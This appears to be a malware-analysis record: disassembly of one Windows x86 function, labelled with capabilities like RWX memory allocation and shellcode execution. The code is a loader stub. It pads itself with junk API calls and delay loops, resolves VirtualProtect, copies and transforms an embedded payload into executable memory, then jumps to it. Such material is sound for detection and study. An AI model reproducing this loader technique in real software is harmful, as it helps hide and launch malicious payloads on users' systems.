Function at 0x40247d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Identify system language via api
Print debug messages
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc40
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x207138
jg 0x4024a5
inc ebx
cmp ebx, 0x4f672
jl 0x40248d
cmp dword [0x4304fc], 0x93
jne 0x40252f
mov edi, dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
lea eax, [ebp - 0x440]
push eax
push esi
push str.fayacitebid
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
call edi
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push str.odewuwebitimubuhoco
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], str.bad_exception
call fcn.0040281b
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], vtable.std::bad_exception.0
call fcn.00402842
push esi
call fcn.00402cb1
push esi
call fcn.00402db1
pop ecx
pop ecx
push esi
call fcn.00403043
mov eax, dword [0x4284a0]
add dword [0x4304fc], 0x1134b
push str.kernel32.dll
mov dword [0x436928], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.VirtualProtect
push eax
mov dword [0x42ff8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x4304fc]
mov dword [0x42ff80], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x4304fc]
mov dword [0x42ff88], eax
push eax
call dword [0x42ff80]
mov ebx, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec ebx
jne 0x40258e
cmp dword [0x4304fc], esi
jbe 0x40260c
mov eax, dword [0x436928]
mov al, byte [eax + ebx + 0x1134b]
mov ecx, dword [0x42ff88]
mov byte [ecx + ebx], al
cmp dword [0x4304fc], 0x490
jne 0x402603
push esi
lea eax, [ebp - 0xc40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push str.giyakukikerapusiviwumawep
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.bojedefayepahotagawabunuluni
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
inc ebx
cmp ebx, dword [0x4304fc]
jb 0x4025a5
mov edi, dword [sym.imp.KERNEL32.dll_SetComputerNameA]
xor ebx, ebx
mov eax, dword [0x4304fc]
add eax, ebx
cmp eax, 0x8d
jne 0x402632
push esi
call edi
push esi
push esi
push str.kizilela
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
inc ebx
cmp ebx, 0x38681
jl 0x402614
mov eax, dword [0x4304fc]
mov ecx, dword [0x42ff88]
shr eax, 3
cmp eax, esi
jbe 0x402690
mov ebx, ecx
mov dword [ebp - 4], eax
cmp dword [0x4304fc], 0x959
jne 0x402683
push esi
lea eax, [ebp - 0x440]
push eax
push esi
push str.Zoj_sipuhakifajavopuge
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push esi
lea eax, [ebp - 0x840]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
call fcn.00401029
add ebx, 8
dec dword [ebp - 4]
jne 0x402652
xor ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp ebx, 0x62
jne 0x4026b1
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x42ff88], eax
inc ebx
cmp ebx, 0x674db
jl 0x402692
push 0x7b
pop ebx
cmp dword [0x4304fc], 0x86
jne 0x4026ee
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push str.hatonorapecigomavimepol
call edi
lea eax, [ebp - 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
dec ebx
jne 0x4026bd
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x42ff88]
pop edi
pop esi
pop ebx
leave
ret